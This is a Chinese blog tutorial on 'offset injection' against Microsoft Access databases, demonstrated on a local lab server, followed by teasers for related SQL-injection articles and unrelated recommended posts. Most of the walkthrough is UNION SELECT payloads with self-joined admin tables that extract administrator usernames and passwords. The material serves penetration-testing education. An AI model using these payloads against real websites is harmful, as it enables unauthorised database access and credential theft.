偏移注入指access偏移注入,由于数据库结构的问题,偏移注入只适用于access数据库。对于access数据库来说,无论是逐字猜解还是联合查询注入,都是需要我们能够猜到用户名和密码的列名(字段),才可以注入出数据,而有的时候,站长取的字段名很另类,我们猜不出来的时候,就需要偏移注入了。

 偏移注入的前提:

  猜出表名,且知道一个或多个字段。(access)

 如果当前注入点的脚本内查询的表内的字段数较多,而管理表内字段较少,这样我们成功率会更高。意思就是管理表字段越少越好,最好只有id,username,password三个字段。

 下面我本地搭个环境来演示:

  目标站:192.168.17.128/0

这里是注入点。http://192.168.17.128/0/Production/PRODUCT_DETAIL.asp?id=1513

当前注入点字段数22,管理表名admin,下面直接联合查询爆显位。

3和15为显位,这时候我们跑不出字段,选择偏移注入。

判断管理表内存在的字段数。

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin

继续,直到返回正常。

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,,* from admin

到16返回正常,那么我们此时得出admin表下有6个字段。(字段数-返回正常字段数  22-16=6)

这里要说一下"admin as a inner join admin as b on a.id=b.id"的意思,下面要用到,把admin表命名a表,b表,打印a.id=b.id的所有行。这里是admin表的自连接,admin为表名, id为字段(可以是其他已知字段)。

偏移注入的基本公式为:order by 出的字段数-*号的字段数x2。这里是22-6*2=10,那么开始构造payload,

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)

这里偏移到了管理员创建时间这个字段了(我也猜的,反正不是我们要的),然后下面就要利用到隐性显位了,我们可以"查看网页源代码"。

可以看到密码了,心情逐渐忐忑…哈哈。

这时候已经得到了密码,却没有账号怎么办,我们只需要把它打乱就可以,这样信息重组,很有可能会把管理员账号给爆出来。在字段后面插个a.id,b.id,

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin b on a.id=b.id)

或者只加a.id也可以打乱信息组合,

union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin b on a.id=b.id)

这样经过了两次偏移我们得到了管理员账号密码。不过这里只是一级偏移,在字段足够多的时候,我们可以多级偏移,成功率会高很多,

这个时候我们再去掉6个字段(管理表下的字段数),增加c.id代替字段重新打乱组合,

union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as bon a.id=b.id) inner join admin as c on a.id=c.id)

这次隐性显位一次性爆出了管理账号密码,啧啧,这时候也解释了前面为什么说当前注入点的脚本内查询的表内的字段数较多,而管理表内字段较少,成功率会更高了。

PS:偏移注入只适用于access数据库。

渗透测试----access偏移注入的更多相关文章

  1. access偏移注入原理

    前言:近段时间在学习access偏移注入时,在网上查询了大量的资料,感觉很多资料讲解的十分模糊并且我个人认为有很多不够严谨的地方,于是我便在线下经过大量测试,写出以下文章,如有错误,望指出. 如要转载 ...

  2. 使用C#winform编写渗透测试工具--SQL注入

    使用C#winform编写渗透测试工具--SQL注入 本篇文章主要介绍使用C#winform编写渗透测试工具,实现SQL注入的功能.使用python编写SQL注入脚本,基于get显错注入的方式进行数据 ...

  3. Web渗透测试(sql注入 access,mssql,mysql,oracle,)

    Access数据库注入: access数据库由微软发布的关系型数据库(小型的),安全性差. access数据库后缀名位*.mdb, asp中连接字符串应用-- "Driver={micros ...

  4. access数据库一般注入方法及偏移注入

    1.access数据库与mysql数据库的差别 access没有数据库,access数据库每个数据都是单个文件,每个access只有表结构 mysql : 库名,表名,列名,字段内容 access:表 ...

  5. ACCESS 手工注入

    ACCESS的注入,基本是死的.思路很简单,基本都可以工具解决.上代码: 1.判断有无注入点' and 1=1 and 1=22.猜表一般的表的名称无非是admin adminuser user pa ...

  6. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  7. Access数据库之偏移注入

    /*转载请注明出处:珍惜少年时*/ 偏移注入主要是针对知道表,但是不知道字段的. 这里我已经知道了表明是:sys_admin 可以使用: select exists(selct * from sys_ ...

  8. 【渗透测试学习平台】 web for pentester -2.SQL注入

    Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...

  9. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

随机推荐

  1. 驰骋工作流引擎ccflow-流转自定义功能使用说明

    流转自定义功能使用说明 关键字: 驰骋工作流程快速开发平台 工作流程管理系统 工作流引擎 asp.net工作流引擎 java工作流引擎. 节点跳转 节点流转自定义 应用背景: 有一些流程在运行过程中是 ...

  2. BUPTOJj83

    83. A + B Problem 时间限制 1000 ms 内存限制 65536 KB 题目描述 Calculate the sum of two given integers A and B. 输 ...

  3. 简单架构:反射实现抽象工厂+IDAL接口完全独立DAL

    一.普通架构中存在的问题 StudentDB数据库,包含一张StudentInfoTB表,结构如下: s_id int primary key identity(1,1), s_name Nvarch ...

  4. Windows内核原理-同步IO与异步IO

    目录 Windows内核原理-同步IO与异步IO 背景 目的 I/O 同步I/O 异步I/O I/O完成通知 总结 参考文档 Windows内核原理-同步IO与异步IO 背景 在前段时间检查异常连接导 ...

  5. Mybatis的一级缓存和二级缓存的理解以及用法

    程序中为什么使用缓存? 先了解一下缓存的概念:原始意义是指访问速度比一般随机存取存储器快的一种RAM,通常它不像系统主存那样使用DRAM技术,而使用昂贵但较快速的SRAM技术.对于我们编程来说,所谓的 ...

  6. Liunx学习总结(三)--用户和用户组管理

    用户和组的基本概念 用户和组是操作系统中一种身份认证资源. 每个用户都有用户名.用户的唯一编号 uid(user id).所属组及其默认的 shell,可能还有密码.家目录.附属组.注释信息等. 每个 ...

  7. XMLHttpRequest的概述

    XMLHttpRequest的概述 一.前言 XMLHttpRequest 最早是在IE5中以ActiveX组件的形式实现的.非 W3C 标准. 创建XMLHttpRequest对象(由于非标准所以实 ...

  8. 剑指Offer(二十八):数组中出现次数超过一半的数字

    剑指Offer(二十八):数组中出现次数超过一半的数字 搜索微信公众号:'AI-ming3526'或者'计算机视觉这件小事' 获取更多算法.机器学习干货 csdn:https://blog.csdn. ...

  9. cogs2823求组合数(lucas定理

    http://cogs.pro:8080/cogs/problem/problem.php?pid=vNQJJVUVj 再写个数学水题,其实lucas适用于m,n比较大而p比较小的情况. 题意:给出两 ...

  10. 2017 省赛选拨 火车入站 CSU 1757 模拟

    1757: 火车入站 Submit Page   Summary   Time Limit: 1 Sec     Memory Limit: 128 Mb     Submitted: 512     ...